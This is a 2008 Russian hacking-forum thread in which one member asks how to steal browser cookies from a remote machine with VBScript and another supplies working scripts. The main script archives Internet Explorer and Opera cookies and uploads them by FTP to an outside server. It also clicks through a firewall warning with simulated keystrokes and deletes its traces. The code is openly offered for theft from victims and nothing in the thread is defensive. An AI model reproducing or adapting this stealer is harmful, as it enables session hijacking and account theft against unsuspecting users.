ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Стащить куки на VBscript
  #1  
Старый 05.12.2008, 19:59
Аватар для truelamer
truelamer
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме:
350782

Репутация: 81
По умолчанию Стащить куки на VBscript

Подскажите как можно с помощью Vbscript утащить кукисы из всех браузеров.
 
Ответить с цитированием

  #2  
Старый 05.12.2008, 20:14
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Смотря куда утащить. На флешку например вот так можно:

On Error Resume Next
set fso=createobject("sсriрting.filesystemobject")
set WshShell = WScript.CreateObject("WScript.Shell")
fso.copyfolder WshShell.ExpandEnvironmentStrings("%USERPROFILE%") +"\Cookies", "E:\1"
Set fso = Nothing
Set WshShell = Nothing
Wscript.Quit ' -выход

Если надо от всех прямо совсем - давай папки, где это все хранится, напишу бесплатно, можно на ftp, можно на почту
 
Ответить с цитированием

  #3  
Старый 05.12.2008, 20:16
Аватар для truelamer
truelamer
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме:
350782

Репутация: 81
По умолчанию

Да, извеняюсь не уточнил, скрипт выполнятся на удаленной машине, следовательно надо утащить в интернет куда-нить) на ftp итп
 
Ответить с цитированием

  #4  
Старый 06.12.2008, 00:38
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

В общем вот, проверено на XP SP2 + ftp на narod.ru, тырит куки от IE и Opera и отсылает в Winrar-архиве (который должен быть УЖЕ установлен у жертвы) на ftp на narod.ru, с Firefox там всё чуть сложнее, т.к. куки хранятся в C:\Documents and Settings\Хозяин\Application Data\Mozilla\Firefox\Profiles\b2f0512348.default, где папка b2f0512348.default - уникальная для каждого юзера, генерица на сколько я понял случайно и пока я не понял, где и как выцепить её название, наверное надо порыться в реестре. Ну и сам код:

Код:
On Error Resume Next
'Создаем временную папку для записи нужных нам результатов (лучше, если название будет УНИКАЛЬНОЕ, чтобы не было конфликтов)
'==========================================================
dim filesys, newfolder, newfolderpath 
newfolderpath = "c:\12345" 
set filesys=CreateObject("Scripting.FileSystemObject") 
If Not filesys.FolderExists(newfolderpath) Then 
   Set newfolder = filesys.CreateFolder(newfolderpath) 
End If
'==========================================================
' Тырим куки IE
set WshShell1 = WScript.CreateObject("WScript.Shell") 
filePath = """C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Cookies""" 'Тут указываем, то что архивируем.
archPath = newfolderpath & "\IE_cookies.rar" 'Куда архивируем, плюс название. 
winRarPath = """%systemdrive%\Program Files\WinRAR\rar.exe""" 'Путь к архиватору, у нас это winrar.
Set fs = CreateObject("Scripting.FileSystemObject")
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run winRarPath & " a -r " &  archPath & " " & filePath, 0, True
Set fs = Nothing
Set WshShell = Nothing
Set WshShell1 = Nothing
'==========================================================
' Тырим куки OPERA
set WshShell1 = WScript.CreateObject("WScript.Shell") 
filePath = """C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\Opera\Opera\profile\cookies4.dat""" 'Тут указываем, то что архивируем.
archPath = newfolderpath & "\opera_cookies.rar" 'Куда архивируем, плюс название. 
winRarPath = """%systemdrive%\Program Files\WinRAR\rar.exe""" 'Путь к архиватору, у нас это winrar.
Set fs = CreateObject("Scripting.FileSystemObject")
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run winRarPath & " a -r " &  archPath & " " & filePath, 0, True
Set fs = Nothing
Set WshShell = Nothing
Set WshShell1 = Nothing
'==========================================================
'Засовываем все стыренные куки в один архив
set WshShell1 = WScript.CreateObject("WScript.Shell") 
filePath = newfolderpath 'Тут указываем, то что архивируем.
archPath = newfolderpath & "\all_cookies.rar" 'Куда архивируем, плюс название. 
winRarPath = """%systemdrive%\Program Files\WinRAR\rar.exe""" 'Путь к архиватору, у нас это winrar.
Set fs = CreateObject("Scripting.FileSystemObject")
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run winRarPath & " a -r " &  archPath & " " & filePath, 0, True
Set fs = Nothing
Set WshShell = Nothing
Set WshShell1 = Nothing
'==========================================================
'Отсылаем на ФТП на narod.ru
'Создаем файл сценария для FTP.EXE 
set FSO = CreateObject("Scripting.FileSystemObject") 
Set WSHshell = WScript.CreateObject("WScript.Shell") 
Set sDir = WSHshell.Environment("Process")    ' - находим путь к папке Windows 
Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr")  '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз) 
cScript.WriteLine "Open ftp.narod.ru" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту 
cScript.WriteLine "Lollka" '- Имя пользователя 
cScript.WriteLine "1234" '- Пароль 
cScript.WriteLine "PUT " & newfolderpath & "\all_cookies.rar"'- А это файл который мы закачиваем 
cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru 
cScript.Close '- Конец записи в файл сценария 
' Запускаем FTP-сценарий 
WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0
' Обходим фаер (в данном случае Outpost, если не надо, закоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------)
set w=CreateObject("WScript.Shell")
a=0
do
r=W.AppActivate("ftp.exe")
if r then
a=1
w.SendKeys "{tab 2}"
w.SendKeys "{enter}"
end if
loop until a=1
set w=Nothing
'---------------------------
Set fso = Nothing 
Set WSHshell  = Nothing 
'==========================================================
'Заметаем следы (удаляем временную папку с нашими палевными архивами)
WScript.Sleep 30000 'Задаем паузу, чтобы успело скопироваться на ФТП - чем больше, тем надежней, в данном случае 30 секунд
set FSO = CreateObject("Scripting.FileSystemObject") 
Set MyFile = fso.GetFolder(newfolderpath)
MyFile.Delete
Set FSO = Nothing 
Set MyFile  = Nothing 
Wscript.Quit ' -выход

Последний раз редактировалось Pashkela; 06.12.2008 в 00:46..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Как подменить куки F.A.Q [R3x] Форумы 4 09.03.2007 12:54
Не получаеться подменить куки для форума PhpBB 2.0.17 Astro Форумы 10 21.02.2006 23:01
Аудит аутентификации на Web-сайтах. Часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:20
Проверка надежности Web-приложений. Часть Третья k00p3r Чужие Статьи 0 13.06.2005 11:17



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ